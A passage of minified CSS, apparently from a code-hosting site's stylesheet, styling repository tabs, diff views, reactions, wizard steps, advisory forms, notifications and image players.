.octicon{color:var(--color-fg-muted)}.pagehead-tabs-item:hover{color:var(--color-fg-default);text-decoration:none}.pagehead-tabs-item.selected{font-weight:600;color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.pagehead-tabs-item.selected>.octicon{color:inherit}.reponav{position:relative;top:1px;margin-top:-4px}.reponav::before{display:table;content:""}.reponav::after{display:table;clear:both;content:""}.reponav-item{float:left;padding:8px 16px 8px;color:var(--color-fg-muted);white-space:nowrap;border:solid transparent;border-width:3px 1px 1px;border-radius:6px 6px 0 0}.reponav-item .octicon{color:var(--color-fg-muted)}.reponav-item:hover,.reponav-item:focus{color:var(--color-fg-default);text-decoration:none}.reponav-item.selected{color:var(--color-fg-default);background-color:var(--color-canvas-default);border-color:var(--color-severe-emphasis) var(--color-border-default) transparent}.reponav-item.selected .octicon{color:inherit}.reponav-wrapper{position:relative;z-index:2;overflow-y:hidden;background-color:var(--color-neutral-emphasis)}.reponav-wrapper .reponav{top:0;padding-right:8px;padding-left:8px;margin-top:0;-webkit-overflow-scrolling:touch;overflow-x:auto;color:rgba(255,255,255,.75)}.reponav-wrapper .reponav-item{display:inline-block;float:none;padding:4px 8px 16px;color:var(--color-fg-muted);border:0}.reponav-wrapper .reponav-item.selected{font-weight:600;color:var(--color-fg-default);background-color:transparent;border:0}@media(max-width: 768px){.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger){background-color:transparent}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--subItem) .ActionList-item-label{font-weight:400}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item--navActive::after{display:none}.PageLayout--responsive-separateRegions.PageLayout--responsive-primary-pane .ActionList-item.ActionList-item--navActive:not(.ActionList-item--danger):hover{background-color:var(--color-action-list-item-default-hover-bg)}}.steps{display:table;width:100%;padding:0;margin:32px auto 0;overflow:hidden;list-style:none;border:1px solid #dfe2e5;border-radius:6px;box-shadow:0 1px 3px rgba(27,31,35,.05)}.steps li{display:table-cell;width:33.3%;padding:8px 16px;color:#c6cbd1;cursor:default;background-color:var(--color-canvas-subtle);border-left:1px solid #dfe2e5}.steps li.current{color:var(--color-fg-default);background-color:var(--color-canvas-default)}.steps li.current .octicon{color:var(--color-accent-fg)}.steps li .octicon{float:left;margin-right:16px;margin-bottom:4px}.steps li .step{display:block}.steps li:first-child{border-left:0}.steps .complete{color:var(--color-fg-muted)}.steps .complete .octicon{color:var(--color-success-fg)}.prose-diff .anchor{display:none}.prose-diff .show-rich-diff{color:var(--color-accent-fg);text-decoration:none;cursor:pointer}.prose-diff .show-rich-diff:hover{text-decoration:underline}.prose-diff.collapsed .rich-diff-level-zero.expandable{cursor:pointer}.prose-diff.collapsed .rich-diff-level-zero.expandable .vicinity{display:block}.prose-diff.collapsed .rich-diff-level-zero.expandable .unchanged:not(.vicinity){display:none}.prose-diff.collapsed .rich-diff-level-zero.expandable .octicon{display:block;margin:16px auto;color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:hover .octicon{color:var(--color-fg-muted)}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child::before{font-size:16px;color:var(--color-fg-muted);content:"Sorry, no visible changes to display."}.prose-diff.collapsed .rich-diff-level-zero.expandable:only-child:hover::before{color:var(--color-fg-default)}.prose-diff.collapsed .rich-diff-level-zero.expandable>.removed,.prose-diff.collapsed .rich-diff-level-zero.expandable>del{display:none;text-decoration:none}.prose-diff .markdown-body{padding:32px;padding-left:16px}.prose-diff .markdown-body>ins{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .markdown-body>del{text-decoration:none;box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .markdown-body>ins,.prose-diff .markdown-body>del{display:block;border-radius:0}.prose-diff .markdown-body>ins>.rich-diff-level-zero,.prose-diff .markdown-body>ins>.rich-diff-level-one,.prose-diff .markdown-body>del>.rich-diff-level-zero,.prose-diff .markdown-body>del>.rich-diff-level-one{margin-left:16px}.prose-diff .markdown-body>ins:first-child *,.prose-diff .markdown-body>del:first-child *{margin-top:0}.prose-diff .rich-diff-level-zero.added{box-shadow:inset 4px 0 0 var(--color-success-muted)}.prose-diff .rich-diff-level-zero.removed{box-shadow:inset 4px 0 0 var(--color-danger-muted)}.prose-diff .rich-diff-level-zero.changed{box-shadow:inset 4px 0 0 var(--color-attention-muted)}.prose-diff .rich-diff-level-zero.unchanged,.prose-diff .rich-diff-level-zero.vicinity{margin-left:16px}.prose-diff .rich-diff-level-zero.added,.prose-diff .rich-diff-level-zero.removed,.prose-diff .rich-diff-level-zero.changed{display:block;border-radius:0}.prose-diff .rich-diff-level-zero.added>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.removed>.rich-diff-level-one,.prose-diff .rich-diff-level-zero.changed>.rich-diff-level-one{margin-left:16px}.prose-diff .rich-diff-level-zero.added:first-child *,.prose-diff .rich-diff-level-zero.removed:first-child *,.prose-diff .rich-diff-level-zero.changed:first-child *{margin-top:0}.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>.removed,.prose-diff :not(.changed)>:not(.github-user-ins):not(.github-user-del)>del{text-decoration:none}.prose-diff .changed del,.prose-diff .changed del pre,.prose-diff .changed del code,.prose-diff .changed del>div,.prose-diff .changed .removed,.prose-diff .changed .removed pre,.prose-diff .changed .removed code,.prose-diff .changed .removed>div{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff .changed ins,.prose-diff .changed ins code,.prose-diff .changed ins pre,.prose-diff .changed .added{color:var(--color-fg-default);background:var(--color-success-subtle);border-bottom:1px solid var(--color-success-muted)}.prose-diff>.markdown-body .github-user-ins{text-decoration:underline}.prose-diff>.markdown-body .github-user-del{text-decoration:line-through}.prose-diff>.markdown-body li ul.added{background:var(--color-success-subtle)}.prose-diff>.markdown-body li ul.removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li ul.removed:not(.github-user-ins){text-decoration:line-through}.prose-diff>.markdown-body li.added.moved-up .octicon,.prose-diff>.markdown-body li.added.moved-down .octicon{margin-right:4px;margin-left:4px;color:var(--color-fg-muted)}.prose-diff>.markdown-body li.added.moved{background:var(--color-attention-subtle)}.prose-diff>.markdown-body li.removed.moved{display:none}.prose-diff>.markdown-body pre{padding:8px 16px}.prose-diff>.markdown-body th.changed,.prose-diff>.markdown-body td.changed{background:var(--color-attention-subtle);border-left-color:var(--color-border-default)}.prose-diff>.markdown-body :not(li.moved).removed{color:var(--color-fg-default);text-decoration:line-through;background:var(--color-danger-subtle)}.prose-diff>.markdown-body :not(.github-user-ins):not(li.moved).removed{text-decoration:line-through}.prose-diff>.markdown-body :not(li.moved).added,.prose-diff>.markdown-body li:not(.moved).added{background:var(--color-success-subtle)}.prose-diff>.markdown-body :not(.github-user-del):not(li.moved).added li:not(.moved):not(.github-user-del).added{text-decoration:none}.prose-diff>.markdown-body li:not(.moved).removed{color:var(--color-fg-default);background:var(--color-danger-subtle)}.prose-diff>.markdown-body li:not(.moved):not(.github-user-ins).removed{text-decoration:line-through}.prose-diff>.markdown-body .added,.prose-diff>.markdown-body ins+.added,.prose-diff>.markdown-body ins{border-top:0;border-bottom:0}.prose-diff>.markdown-body .added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins+.added:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body img.added,.prose-diff>.markdown-body img.removed{border-style:solid;border-width:1px}.prose-diff>.markdown-body ins pre:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins code:not(.github-user-del):not(.github-user-ins),.prose-diff>.markdown-body ins>div:not(.github-user-del):not(.github-user-ins){text-decoration:none}.prose-diff>.markdown-body ul>ins,.prose-diff>.markdown-body ul>del{display:block;padding:0}.prose-diff>.markdown-body .added>li,.prose-diff>.markdown-body .removed>li{margin-top:0;margin-bottom:0}span.changed_tag,em.changed_tag,strong.changed_tag,b.changed_tag,i.changed_tag,code.changed_tag{border-bottom:1px dotted var(--color-border-default);border-radius:0}a.added_href,a.changed_href,span.removed_href{border-bottom:1px dotted var(--color-border-default);border-radius:0}.diff-view .file-type-prose .rich-diff{display:none}.diff-view .display-rich-diff .rich-diff{display:block}.diff-view .display-rich-diff .file-diff{display:none}.protip{margin-top:16px;color:var(--color-fg-muted);text-align:center}.protip strong{color:var(--color-fg-default)}.protip code{padding:2px;background-color:var(--color-canvas-subtle);border-radius:6px}.add-reactions-options-item{margin-top:-1px;margin-right:-1px;line-height:29px;border:1px solid transparent}.add-reactions-options-item .emoji{display:inline-block;transition:transform .15s cubic-bezier(0.2, 0, 0.13, 2)}.add-reactions-options-item:hover .emoji,.add-reactions-options-item:focus .emoji{text-decoration:none !important;transform:scale(1.2) !important}.add-reactions-options-item:active{background-color:var(--color-accent-subtle)}.page-responsive .add-reactions-options-item{height:20vw}@media(min-width: 544px){.page-responsive .add-reactions-options-item{height:auto}}.comment-reactions{display:none}.comment-reactions::before{display:table;content:""}.comment-reactions::after{display:table;clear:both;content:""}.comment-reactions .reactions-menu{z-index:100}.page-responsive .comment-reactions{display:none}@media(min-width: 768px){.page-responsive .comment-reactions{display:none}.page-responsive .comment-reactions.has-reactions{display:flex}}.comment-reactions.has-reactions{display:flex}.comment-reactions.has-reactions:not(.social-reactions){border-top:1px solid var(--color-border-default)}.comment-reactions .user-has-reacted{background-color:var(--color-accent-subtle)}.reactions-container .user-has-reacted{background-color:var(--color-accent-subtle)}[data-color-mode=light][data-light-theme*=dark],[data-color-mode=dark][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=dark]{--color-social-reaction-bg-hover:var(--color-scale-gray-7);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-8)}}:root,[data-color-mode=light][data-light-theme*=light],[data-color-mode=dark][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}@media(prefers-color-scheme: light){[data-color-mode=auto][data-light-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}@media(prefers-color-scheme: dark){[data-color-mode=auto][data-dark-theme*=light]{--color-social-reaction-bg-hover:var(--color-scale-gray-1);--color-social-reaction-bg-reacted-hover:var(--color-scale-blue-1)}}.social-reaction-summary-item+.social-reaction-summary-item{margin-left:8px}.social-reactions .comment-body{margin-left:16px !important}.social-button-emoji{display:inline-block;width:16px;height:16px;font-size:1em !important;line-height:1.25;vertical-align:-1px}.social-reaction-summary-item{height:26px;padding:0 4px !important;margin-right:0;font-size:12px;line-height:26px;background-color:transparent;border:1px solid var(--color-border-default, #d2dff0);border-radius:100px}.social-reaction-summary-item:focus,.social-reaction-summary-item:focus-visible{border-radius:100px !important}.social-reaction-summary-item:focus{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item:focus:not(:focus-visible){border-color:transparent;border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px transparent}.social-reaction-summary-item:focus-visible{border-color:var(--color-accent-fg);outline:none;box-shadow:inset 0 0 0 1px var(--color-accent-fg)}.social-reaction-summary-item.user-has-reacted{background-color:var(--color-accent-subtle);border:1px solid var(--color-accent-emphasis) !important}.social-reaction-summary-item.user-has-reacted:hover{background-color:var(--color-social-reaction-bg-reacted-hover) !important}.social-reaction-summary-item>span{height:24px;padding:0 4px;margin-left:2px}.social-reaction-summary-item:hover{background-color:var(--color-social-reaction-bg-hover)}.reaction-dropdown-button{color:var(--color-fg-muted)}.reaction-dropdown-button:hover{color:var(--color-accent-fg)}.reaction-dropdown-button--inline{width:26px;height:26px}.reaction-dropdown-button--inline:hover{background-color:var(--color-btn-hover-bg) !important;border-color:var(--color-btn-hover-border) !important}.reaction-dropdown-button:disabled{color:var(--color-primer-fg-disabled) !important;pointer-events:none}.reactions-with-gap .comment .comment-reactions{margin-left:16px;border-top:0 !important}.new-reactions-dropdown .dropdown-menu-reactions{width:auto;padding:0 2px}.new-reactions-dropdown .dropdown-menu-reactions::before,.new-reactions-dropdown .dropdown-menu-reactions::after{background-color:transparent;border:0}.new-reactions-dropdown .dropdown-item-reaction{width:32px;height:32px;padding:4px;margin:4px 2px}.new-reactions-dropdown .dropdown-item-reaction.user-has-reacted{background-color:var(--color-accent-subtle)}.new-reactions-dropdown .dropdown-item-reaction:hover{background-color:var(--color-btn-hover-bg)}.RecentBranches{background-color:var(--color-attention-subtle);border:1px solid var(--color-attention-emphasis);border-radius:6px}.RecentBranches-item{line-height:28px;color:var(--color-fg-default)}.RecentBranches-item+.RecentBranches-item{border-top:1px solid var(--color-attention-emphasis)}.RecentBranches-item-link{color:var(--color-fg-default)}.RecentBranches-item-link.css-truncate-target{max-width:400px}.render-container{padding:32px;line-height:0;text-align:center;background:var(--color-canvas-subtle);border-bottom-right-radius:6px;border-bottom-left-radius:6px}.render-container .render-viewer{display:block;width:1px;height:1px;border:0}.render-container .octospinner{display:none}.render-container .render-viewer-error,.render-container .render-viewer-fatal,.render-container .render-viewer-invalid,.render-container .render-fullscreen{display:none}.render-container.is-render-automatic .octospinner{display:inline-block}.render-container.is-render-requested .octospinner{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer-error{display:inline-block}.render-container.is-render-requested.is-render-failed .render-viewer,.render-container.is-render-requested.is-render-failed .render-viewer-fatal,.render-container.is-render-requested.is-render-failed .render-viewer-invalid,.render-container.is-render-requested.is-render-failed .octospinner{display:none}.render-container.is-render-requested.is-render-failed-fatal .render-viewer-fatal{display:inline-block}.render-container.is-render-requested.is-render-failed-fatal .render-viewer,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-error,.render-container.is-render-requested.is-render-failed-fatal .render-viewer-invalid,.render-container.is-render-requested.is-render-failed-fatal .octospinner{display:none}.render-container.is-render-requested.is-render-failed-invalid .render-viewer-invalid{display:inline-block}.render-container.is-render-requested.is-render-failed-invalid .render-viewer,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-error,.render-container.is-render-requested.is-render-failed-invalid .render-viewer-fatal,.render-container.is-render-requested.is-render-failed-invalid .octospinner{display:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed){height:500px;padding:0;background:none}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer{width:100%;height:100%}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-fullscreen{display:flex}.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-error,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .render-viewer-fatal,.render-container.is-render-ready.is-render-requested:not(.is-render-failed) .octospinner{display:none}.render-needs-enrichment{margin-bottom:16px}.render-needs-enrichment .render-full-screen{width:100%;height:auto;padding:16px;overflow:auto}.render-needs-enrichment .render-expand{top:2px;right:2px}.render-needs-enrichment .render-full-screen-close{top:0;right:0;padding:4px}.render-needs-enrichment .details{margin-bottom:0}.render-needs-enrichment .render-plaintext-hidden{display:none}.render-needs-enrichment.render-error .js-render-box{display:none !important}.render-notice{padding:16px 16px;font-size:14px;color:var(--color-fg-default);background-color:var(--color-canvas-subtle);border-color:var(--color-border-subtle)}.Skeleton{color:rgba(0,0,0,0);background-image:linear-gradient(270deg, rgba(0, 0, 0, 0.1), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.05), rgba(0, 0, 0, 0.1));background-size:400% 100%;animation:skeleton-loading 8s ease-in-out infinite}.Skeleton *{visibility:hidden}.Skeleton--text{-webkit-clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px);clip-path:inset(4px 0 4px 0 round 3px 3px 3px 3px)}.is-error .Skeleton{display:none}@keyframes skeleton-loading{0%{background-position:200% 0}100%{background-position:-200% 0}}.authors-2 .AvatarStack{min-width:36px !important}.authors-3 .AvatarStack{min-width:46px !important}[aria-selected=true] .AvatarStack-body,.navigation-focus .AvatarStack-body{background:#f6fbff}.tracked-in-parent-pill{position:relative;cursor:default}.tracked-in-parent-pill-truncated{position:absolute;left:100%;display:none;white-space:nowrap;background:var(--color-canvas-default);border-left-width:0 !important;border-top-left-radius:0 !important;border-bottom-left-radius:0 !important}.tracked-in-parent-pill:hover .tracked-in-parent-pill-truncated{display:block}.wizard-step-item{position:relative;padding:8px 0;margin-left:16px;flex-direction:row}.wizard-step-item::before{position:absolute;top:32px;bottom:0;left:0;display:block;width:2px;height:100%;content:"";background-color:var(--color-border-default)}.wizard-step-badge{position:relative;z-index:1;display:flex;width:32px;height:32px;margin-right:8px;margin-left:-16px;color:var(--color-fg-default);align-items:center;background-color:var(--color-border-default);border:1px solid var(--color-canvas-default);border-radius:50%;justify-content:center;flex-shrink:0}.wizard-step-body{min-width:0;max-width:100%;color:var(--color-fg-default);flex:auto}.wizard-step-body .wizard-step-buttons{display:none;margin-top:16px;justify-content:flex-end}.wizard-step-container{border:0}.wizard-step-container .wizard-step-content{display:none;width:100%;padding:16px 24px 24px 24px;overflow:visible;font-size:14px}.wizard-step-container.wizard-step-container-icon .wizard-step-content{padding:24px}.wizard-step-header{padding-top:4px;padding-left:8px}.wizard-step-header>.wizard-step-title{min-width:0;margin-bottom:4px;flex:1 1 auto;color:var(--color-fg-muted)}.wizard-step-icon{display:none;height:96px;color:var(--color-accent-fg);background-image:linear-gradient(to right, var(--color-accent-subtle), var(--color-canvas-default));justify-content:center;align-items:center;border-top-left-radius:6px;border-top-right-radius:6px}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-item::before{background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-complete=true] .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-badge .wizard-step-check{display:block;color:var(--color-fg-on-emphasis)}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{top:0;display:block;height:16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-item::before{display:none}}.wizard-step[data-single-page-wizard-last-step=true] .wizard-step-icon{color:var(--color-success-fg);background-image:linear-gradient(to right, var(--color-success-subtle), var(--color-canvas-default))}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge .wizard-step-check{display:none}.wizard-step:not([data-single-page-wizard-last-step=true]) .wizard-step-badge::before{color:var(--color-fg-on-emphasis);content:attr(data-single-page-wizard-step)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-badge{color:var(--color-fg-on-emphasis);background-color:var(--color-accent-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-badge{background-color:var(--color-success-emphasis)}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-item::before{top:42px;height:16px}.wizard-step[data-single-page-wizard-step-current=true][data-single-page-wizard-last-step=true] .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-success-subtle), var(--color-success-subtle))}.wizard-step[data-single-page-wizard-step-current=true]:not([data-single-page-wizard-last-step=true]) .wizard-step-container-icon::after{background-image:linear-gradient(var(--color-accent-subtle), var(--color-accent-subtle))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-icon{display:flex}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:column}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-item{flex-direction:row}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:16px;margin-left:-16px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-body{margin-top:0;margin-left:0}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container{position:relative;background-color:var(--color-canvas-default);border:1px solid var(--color-border-default);border-radius:6px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:11px;right:100%;left:-8px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:2px;background-color:var(--color-canvas-default);background-image:linear-gradient(var(--color-canvas-default), var(--color-canvas-default))}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{background-color:var(--color-border-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{transform:rotate(90deg)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before{position:absolute;top:-12px;right:100%;left:12px;display:block;width:8px;height:16px;pointer-events:none;content:" ";-webkit-clip-path:polygon(0 50%, 100% 0, 100% 100%);clip-path:polygon(0 50%, 100% 0, 100% 100%)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:-10px;left:11px}@media(min-width: 768px){.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::before,.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{top:11px;left:-8px;transform:rotate(0)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container::after{margin-left:1px}}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-header{display:none}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content-header{margin-bottom:16px}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-title{color:var(--color-fg-default)}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-container .wizard-step-content{display:block}.wizard-step[data-single-page-wizard-step-current=true] .wizard-step-buttons{display:flex}.alert-label{color:var(--color-fg-on-emphasis)}.graph-canvas .alert-label--critical{fill:var(--color-danger-emphasis)}.graph-canvas .alert-label--high{fill:var(--color-severe-emphasis)}.graph-canvas .alert-label--moderate{fill:var(--color-attention-emphasis)}.graph-canvas .alert-label--low{fill:var(--color-neutral-emphasis)}.advisory-form{background-color:var(--color-canvas-subtle);border-top:1px solid var(--color-border-default)}.advisory-form .form-control{background-color:var(--color-canvas-default)}.advisory-form .form-actions{background-color:var(--color-canvas-default)}.advisory-form .previewable-comment-form{background-color:var(--color-canvas-default)}.advisory-credit-window-min{min-height:72px}.advisory-credit-window-max{max-height:370px}[data-target="animated-image.originalImage"],[data-target="animated-image.replacedImage"],[data-a11y-animated-images=system] [data-animated-image],[data-a11y-animated-images=disabled] [data-animated-image]{display:none}animated-image[data-catalyst]{display:inline-block}.AnimatedImagePlayer{position:relative;display:inline-block;width:100%}.AnimatedImagePlayer>a:not(.AnimatedImagePlayer-images){display:none}.AnimatedImagePlayer-controls{position:absolute;top:8px;right:8px;z-index:2;display:none;padding:4px;list-style:none;background:var(--color-canvas-default);border-radius:6px;box-shadow:var(--color-overlay-shadow);opacity:1;transition:opacity 80ms linear}.AnimatedImagePlayer-images .AnimatedImagePlayer-animatedImage{cursor:pointer}.AnimatedImagePlayer-button{display:flex;align-items:center;justify-content:center;width:32px;height:32px;cursor:pointer;background-color:var(--color-canvas-default);border:0;border-radius:6px}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer-button:hover{background-color:var(--color-btn-hover-bg);transition:background-color 200ms linear}}.AnimatedImagePlayer-images{display:block;width:100%;padding:0;margin:0;background:none;border:0;outline:none;outline-offset:0}.AnimatedImagePlayer-images:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:0}.AnimatedImagePlayer-button:focus-visible{outline:2px solid var(--color-accent-fg);outline-offset:-2px}.AnimatedImagePlayer-button svg{width:16px;height:16px;pointer-events:none;fill:var(--color-fg-muted)}.AnimatedImagePlayer-button:hover svg{fill:var(--color-fg-default)}.AnimatedImagePlayer-stillImage{position:absolute;top:0;left:0;z-index:1;display:none;width:100%;height:100%;pointer-events:none}.AnimatedImagePlayer-animatedImage{width:100%;max-width:100%;max-height:100%}.AnimatedImagePlayer.playing .AnimatedImagePlayer-controls{opacity:0;transition-delay:1s}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-animatedImage{opacity:0 !important}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-animatedImage{opacity:1 !important}.AnimatedImagePlayer.playing.player-focused .AnimatedImagePlayer-controls{opacity:1;transition-delay:0ms}@media(hover: hover)and (pointer: fine){.AnimatedImagePlayer.playing:hover .AnimatedImagePlayer-controls{opacity:1;transition-delay:0s}}.AnimatedImagePlayer.enabled.playing .AnimatedImagePlayer-stillImage,.AnimatedImagePlayer.enabled.playing .icon-play,.AnimatedImagePlayer .icon-pause{display:none}.AnimatedImagePlayer .icon-play,.AnimatedImagePlayer.enabled.playing .icon-pause,.AnimatedImagePlayer.enabled .AnimatedImagePlayer-stillImage{display:block}.AnimatedImagePlayer.enabled .AnimatedImagePlayer-controls{display:flex}.emoji-tab.UnderlineNav-item{margin-right:4px}.emoji-tab[role=tab][aria-selected=true]{font-weight:600;color:var(--color-fg-default);border-bottom-color:var(--color-severe-emphasis)}.emoji-tab[role=tab][aria-selected=true] .UnderlineNav-octicon{color:var(--color-fg-muted)}.selected-emoji{z-index:100;background-color:var(--color-accent-emphasis)}.emoji-picker-container .emoji-picker-tab g-emoji{margin-right:auto;margin-left:4px}.emoji-tab .emoji-icon{width:auto}.emoji-picker-container{z-index:1;width:395px}.emoji-picker-tab{height:136px;padding-top:8px}.emoji-picker-emoji-width{width:32px;height:28px}.emoji-picker-tab .btn-outline:not(:hover){background-color:transparent}.emoji-picker-list{list-style:none}.notification-shelf{z-index:34}.notification-shelf.is-stuck{z-index:999}@media(max-width: 767px){.notifications-v2 .commit-ref .css-truncate-target{word-break:break-all;white-space:normal}}@media(max-width: 543px){.notifications-v2 .Box{border-right:0;border-left:0;border-radius:0}}@media(max-width: 543px){.notifications-v2 .Box .Box-header{border-right:0 !important;border-left:0 !important;border-radius:0 !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right{width:auto !important;min-width:auto !important;margin-left:53px !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack--right .AvatarStack-body{position:relative !important;right:unset !important;margin-right:8px;flex-direction:row !important}}@media(max-width: 767px){.notifications-v2 .AvatarStack-body .avatar{position:relative !important;margin-right:-12px !important;margin-left:0 !important;border-right:1px solid #fff !important;border-left:0 !important}}.notifications-v2 .thread-subscription-status{background-color:transparent !important}.notifications-v2 .notification-action-mark-archived,.notifications-v2 .notification-action-mark-unread,.notifications-v2 .notification-action-star,.notifications-v2 .notification-action-unsubscribe{display:block !important}.notifications-v2 .notification-action-mark-read,.notifications-v2 .notification-action-mark-unarchived,.notifications-v2 .notification-action-subscribe,.notifications-v2 .notification-action-unstar,.notifications-v2 .notification-is-starred-icon{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-unsubscribe{display:none !important}.notifications-v2 .notification-unsubscribed .notification-action-subscribe{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-read{display:block !important}.notifications-v2 .notification-unread .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-archived,.notifications-v2 .notification-archived .notification-action-mark-read,.notifications-v2 .notification-archived .notification-action-mark-unread{display:none !important}.notifications-v2 .notification-archived .notification-action-mark-unarchived{display:block !important}.notifications-v2 .notification-starred .notification-action-star{display:none !important}.notifications-v2 .notification-starred .notification-is-starred-icon{display:inline-block !important}.notifications-v2 .notification-starred .notification-action-unstar{display:block !important}.notifications-v2 .thread-subscribe-form{display:none !important}.notifications .read .avatar img{opacity:.5}.notifications .read .undo{display:block}.notifications .read .delete{visibility:hidden}.notifications .read[aria-selected=true],.notifications .read.navigation-focus{background-color:#f5f9fc}.notifications .muted .unmute{display:block}.notifications .muted .mute{display:none}.notifications .unmute{display:none}.notifications-list{float:left;width:100%}.thread-subscription-status{padding:8px;margin:40px 0 16px;color:var(--color-fg-muted);border:1px solid var(--color-border-default);border-radius:6px}.thread-subscription-status .btn-sm>.octicon{margin-right:1px}.thread-subscription-status .reason{display:inline-block;margin:0 8px;vertical-align:middle}.thread-subscription-status .thread-subscribe-form{display:inline-block;vertical-align:middle}.subscription .loading{opacity:.5}.progress-pjax-loader{z-index:99999;height:2px !important;background:transparent;opacity:0;transition:opacity .4s linear .4s}.progress-pjax-loader.is-loading{opacity:1;transition:none}.progress-pjax-loader>.progress-pjax-loader-bar{background-color:#79b8ff;transition:width .4s ease}.starred .starred-button-icon{color:var(--color-scale-yellow-2)}.user-lists-menu-action{color:var(--color-fg-default)}.user-lists-menu-action:hover:not(:disabled){color:var(--color-fg-default);background-color:var(--color-canvas-subtle)}.user-lists-menu-action:focus:not(:disabled){color:var(--color-fg-default);outline:2px solid var(--color-accent-emphasis);outline-offset:2px}.starring-container .BtnGroup-parent:active{z-index:auto}.shelf{padding-top:16px;margin-bottom:16px;background-color:var(--color-canvas-default);border-bottom:1px solid var(--color-border-muted)}.shelf .container{position:relative}.org-sso,.business-sso{width:340px;margin:0 auto}.org-sso .sso-title,.business-sso 